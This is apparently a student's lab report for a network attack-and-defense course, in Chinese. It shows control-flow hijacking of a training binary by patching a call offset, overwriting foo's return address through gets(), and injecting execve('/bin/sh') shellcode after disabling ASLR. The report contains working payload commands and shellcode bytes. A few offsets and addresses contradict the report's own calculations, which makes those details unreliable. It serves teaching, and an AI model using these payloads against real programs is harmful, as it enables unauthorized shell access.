20252904 2025-2026-2 《网络攻防实践》第9周作业
20252904 2025-2026-2 《网络攻防实践》第9周作业
1.实践内容
实践内容有以下三个:
① 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
② 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
③ 注入一个自己制作的shellcode并运行这段shellcode。
1.1实验内容总结
1.手工修改可执行文件跳转逻辑
通过反汇编分析 pwn1 程序结构,定位关键跳转位置和 getShell 函数地址,并使用十六进制编辑器修改机器指令,使程序执行流程直接跳转到 getShell 函数。该过程帮助我理解了机器指令与程序控制流之间的关系。
2.利用缓冲区溢出触发 getShell
分析 foo 函数输入回显逻辑,确认其存在缓冲区溢出风险。随后构造特定长度的输入数据覆盖函数返回地址,使程序在 foo 函数返回时不再回到原调用位置,而是跳转执行 getShell 函数。该实验加深了我对栈溢出攻击原理的理解。
3.注入并运行自定义 Shellcode
在掌握返回地址覆盖方法后,进一步尝试将 Shellcode 写入程序可控内存区域,并通过构造输入控制程序跳转到 Shellcode 所在位置执行。该过程使我认识到缓冲区溢出不仅可以跳转到程序已有函数,也可能被用于执行攻击者构造的任意代码。
4.综合掌握二进制漏洞利用基本流程
本次实践从静态分析、指令修改、漏洞定位到 Payload 构造,完整覆盖了二进制程序攻击的基础流程。通过实验,我对可执行文件结构、汇编指令、栈帧布局、返回地址覆盖和 Shellcode 执行机制有了更加直观的认识。
1.2相关知识点整理
1.控制流劫持
控制流劫持是指攻击者通过修改程序的执行路径,使程序跳转到非预期代码位置执行。本次实验中,无论是修改机器指令跳转到 getShell,还是覆盖返回地址触发 getShell,本质上都是对程序控制流的改变。
2.缓冲区溢出
缓冲区溢出是由于程序在接收输入时没有严格限制输入长度,导致超出缓冲区范围的数据覆盖相邻内存区域。在栈空间中,溢出的数据可能覆盖保存的返回地址,从而改变函数返回后的执行位置。
3.栈帧结构
函数调用时,系统会在栈中保存局部变量、旧的基址指针和返回地址等信息。理解栈帧结构是构造缓冲区溢出 Payload 的基础,因为攻击者需要明确输入数据如何从缓冲区覆盖到返回地址。
4.返回地址覆盖
返回地址用于指示函数执行结束后程序应返回的位置。若通过溢出数据覆盖该地址,就可以使程序返回到攻击者指定的位置。本实验中,将返回地址覆盖为 getShell 函数地址,即可使程序执行原本不会执行的 Shell 代码片段。
5.反汇编分析
反汇编是将可执行文件中的机器码转换为汇编指令的过程。通过反汇编可以观察函数入口地址、调用关系、跳转逻辑和关键指令,为定位漏洞位置和修改程序执行流程提供依据。
6.十六进制编辑
十六进制编辑器可以直接查看和修改可执行文件中的机器码。与修改源代码不同,十六进制修改是直接改变程序底层指令,因此需要准确理解指令机器码、偏移地址和程序加载后的执行逻辑。
7.条件跳转与无条件跳转
JE、JNE 属于条件跳转指令,通常依赖前面 CMP 指令设置的标志位决定是否跳转;JMP 是无条件跳转指令,会直接改变执行位置。通过修改这些跳转指令,可以改变程序原有分支逻辑。
8.NOP 指令与 NOP Sled
NOP 表示空操作,不改变程序状态,只让 CPU 继续执行下一条指令。在 Shellcode 注入场景中,连续的 NOP 可以形成 NOP Sled,用于提高跳转命中 Shellcode 的容错率。
9.Shellcode 注入
Shellcode 是一段可以完成特定功能的机器指令代码,常用于获取 Shell 或执行系统调用。与直接跳转到程序已有函数不同,Shellcode 注入要求攻击者将代码写入内存,并控制程序跳转到该代码区域执行。
10.程序防护机制意识
缓冲区溢出利用通常会受到栈不可执行、地址随机化、栈保护等安全机制影响。虽然本次实验环境可能关闭了部分防护,但通过实践可以理解这些防护机制存在的必要性,以及它们在阻止控制流劫持中的作用。
2.实践过程
2.1实验任务一
这次实验内容新增了俩个要求,一是将所有操作截图主机名为本人姓名拼音,二是所编辑的文件名包含自己的学号
首先打开kali将主机名称修改成自己的名字
hostname 2904ZJY

修改后可以看到:

然后再把需要用到的文件夹名称改成自己的名字
cp pwn1 pwn2904ZJY

修改后生成一个新的以自己命名的文件。完成本次实验名称要求。开始进行实验。
使用objdump工具对重命名后的程序进行反汇编,进一步分析文件内容
objdump -d pwn2904ZJY | more

输入/getShell,从反汇编结果中可以看到,程序包含三个关键函数:
0804847d <getShell>
08048491 <foo>
080484af <main>

getShell() 是一个调用 system() 的函数,作用很可能是执行 /bin/sh 或类似命令,属于隐藏的目标函数。
foo() 是程序的核心风险点,它在栈上准备了局部缓冲区,然后调用 gets() 读取用户输入,再用 puts() 输出输入内容。由于 gets() 没有长度检查,所以存在栈缓冲区溢出漏洞。
main() 只负责调用 foo(),然后返回 0。正常情况下程序不会执行 getShell(),但如果 foo() 中的输入过长并破坏返回地址,程序控制流就可能被改变,进而跳转到 getShell()。
第一个要求是:手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
分析指令如何修改:
在 x86 架构中,CALL 指令采用相对寻址方式,其偏移量计算方法为:目标函数地址 - CALL 指令下一条指令地址 = 相对偏移量。
在本程序中,main 函数中调用 foo 的 CALL 指令地址为 0x080484b5,由于 CALL 指令长度为 5 字节,因此下一条指令地址为 0x080484ba。原始调用 foo 函数时,偏移量为 0x08048491 - 0x080484ba = 0xffffffd7,由于是负偏移量,所以采用补码表示,并按小端序存储为 d7 ff ff ff,这与反汇编结果一致。若要将调用目标改为 getShell 函数,则新的偏移量为 0x0804847d - 0x080484ba = 0xffffffc3,小端序存储为 c3 ff ff ff。因此,只需将原来 call foo 指令中的偏移量 d7 ff ff ff 修改为 c3 ff ff ff,即可使 main 函数不再调用 foo,而是直接调用 getShell 函数。
首先,用vim编辑器打开目标文件进行修改
vim pwn2904zjy

按esc键,将其变为16进制输入:
:%!xxd

输入
/e8 d7
搜索,并将d7改为d3


改完后,还原文件内容为二进制格式:%!xxd -r并且输入:wq保存退出。
然后执行反汇编命令,查看main的调用逻辑,可以看到main函数的调转已经变为804847d ,机器码修改成功。
objdump -d pwn2904 | more

运行pwn文件,发现进入交互,获取shell成功!

2.2实验任务二
依旧用源文件,利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
重新命名一个pwn文件做实验二,起名叫
mv pwn1 pwn2904ZJY02

开始实验二!跟实验一一样,先查看foo的反汇编代码

通过工具分析出foo 函数是这个程序中真正接收用户输入并产生漏洞的位置。根据反汇编结果,foo 函数内容如下:
08048491 <foo>:
08048491: 55 push %ebp
08048492: 89 e5 mov %esp,%ebp
08048494: 83 ec 38 sub $0x38,%esp
08048497: 8d 45 e4 lea -0x1c(%ebp),%eax
0804849a: 89 04 24 mov %eax,(%esp)
0804849d: e8 8e fe ff ff call 8048330 <gets@plt>
080484a2: 8d 45 e4 lea -0x1c(%ebp),%eax
080484a5: 89 04 24 mov %eax,(%esp)
080484a8: e8 93 fe ff ff call 8048340 <puts@plt>
080484ad: c9 leave
080484ae: c3 ret
foo 函数开始时先通过 push %ebp 和 mov %esp,%ebp 建立函数栈帧,然后使用 sub $0x38,%esp 在栈上开辟局部变量空间。接着,程序通过 lea -0x1c(%ebp),%eax 取得局部缓冲区的地址,并将该地址作为参数传给 gets 函数,用于接收用户输入。随后,程序再次取得同一个缓冲区地址,并将其作为参数传给 puts 函数,将用户输入的字符串输出到屏幕上。因此,foo 函数的正常功能就是读取用户输入并进行回显。
该函数的关键问题在于使用了 gets()。gets() 在读取输入时不会检查输入长度,如果用户输入内容超过缓冲区能够容纳的范围,就会继续向栈上的高地址写入数据,从而覆盖保存的 ebp 和函数返回地址。由于缓冲区起始位置是 ebp-0x1c,距离保存的 ebp 为 0x1c 字节,再加上保存的 ebp 占 4 字节,所以从缓冲区开始到返回地址一共需要覆盖:
0x1c + 4 = 0x20 = 32 字节
因此,foo 函数是程序中的缓冲区溢出漏洞点。正常情况下它只是实现输入回显,但如果输入超过 32 字节,就可能覆盖返回地址,进而改变程序的执行流程。
根据上面分析可知,通过缓冲区溢出漏洞这个地方,可以作为突破口。
getShell地址 0x0804847d 在构造的字符串中转换为: \x7d\x84\x04\x08。
perl -e 'print "ZZZZZZZZZZJJJJJJJJJJJJYYYYYYYYYY\x7d\x84\x04\x08\x0a"' > 20252904ZJY_input xxd 20252904ZJY_input

将生成的文件信息内容注入到文件当中,发现成功进入Shell交互界面。
(cat 20252904ZJY_input;cat) | ./pwn2904ZJY02

2.3实验任务三
注入一个自己制作的shellcode并运行这段shellcode。
首先先安装execstack
wget http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

查看是否安装成功以及版本
execstack --version

设置pwn1程序堆栈可执行操作。
execstack -s pwn1

验证是否成功。当名称前面输出为X的时候说明成功。
execstack -q pwn1

说明文件可执行操作。
并且要关闭地址空间布局随机化(0表示关闭,2表示开始)。输入
sudo sh -c 'echo "0" > /proc/sys/kernel/randomize_va_space'

并输入下面指令进行验证,若输出0则表示关闭成功。
more /proc/sys/kernel/randomize_va_space

构造一个包含填充字节、占位符地址、NOP 滑动区域和实际 shellcode 的输入字符串,并将其保存到文件中。通过这种方式,可以在目标程序中触发缓冲区溢出漏洞,覆盖返回地址,从而执行注入的 shellcode,最终获取一个 Shell。
perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcodeZJY

该输入文件的核心原理是利用 foo 函数中的缓冲区溢出漏洞控制程序返回地址。前面的 32 个字符A用于填满缓冲区并覆盖旧的 EBP,使后续数据正好写到返回地址位置。接着的 \x1\x2\x3\x4 是临时占位地址,用来验证返回地址是否被成功覆盖,之后需要替换为 Shellcode 在内存中的真实地址。后面的多个 \x90 是 NOP 空操作指令,作为 NOP Sled,提高跳转到 Shellcode 的成功率。最后拼接的是 32 位 Linux Shellcode,当程序返回地址被劫持到该区域后,Shellcode 会被执行,从而获得 Shell。最终这些内容被保存到 input_shellcode 文件中,用于后续测试。
做初始注入,并挂起程序。
(cat input_shellcode2904ZJY; cat) | ./pwn1

找到程序的进程号PID并用 GDB 附加调试进程。
ps -ef | grep pwn1
gdb
(gdb) attach 12768(这是我的)

输入 disassemble foo,对 foo 进行反编译

可以看见ret的指令地址是0x080484ae
在 foo 函数的 ret 指令处下断点,然后继续运行。
break *0x080484ae

在终端A中按下回车键,终端B中输入
c

查看栈顶指针:
info r esp

可知栈顶指针是0xffffcf7c。
查看该地址的内存内容,验证占位返回地址的位置:
x/16x 0xffffcf7c

通过调试栈内容可以看到,0xffffcf7c 处的值为 0x04030201,对应 payload 中的占位返回地址 \x01\x02\x03\x04,说明返回地址已经被成功覆盖。其后紧跟 0x90909090,即连续的 NOP 指令,说明后面就是 NOP 滑板和 Shellcode。
因此,需要将占位返回地址替换为 NOP 滑板所在位置,使程序返回时跳转到该区域,再继续滑入并执行 Shellcode。根据调试结果,最终返回地址可设置为 0xffffcf2c,按小端序写入为:
\x2c\xcf\xff\xff
替换占位返回地址为调试得到的实际地址,重新生成最终Payload文件:
perl -e 'print "A" x 32; print "\x80\xcf\xff\xff" . "\x90" x 64 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80\n"' > final_payload

执行攻击:
(cat final_payload; cat) | ./pwn1

攻击成功进入shell界面
3.学习中遇到的问题及解决
- 问题1:始终运行不了PWN文件,没有权限(好几次这种情况)
- 问题1解决方案:输入chmod +x pwn2904ZJY就可以了,释放执行权限。
4.实践总结
感觉这次实验最重要的是理解任务123的逻辑,为什么要这样做。而且一开始有些想不懂地址的位置以及为什么会有缓冲区溢出,后来查阅资料才慢慢理解。通过这次试验也看到了攻击者的视角如何利用FOO未校验输入和覆盖返回地址劫持危险。接触到了很多以前都没尝试过的技术知识,很棒!
浙公网安备 33010602011771号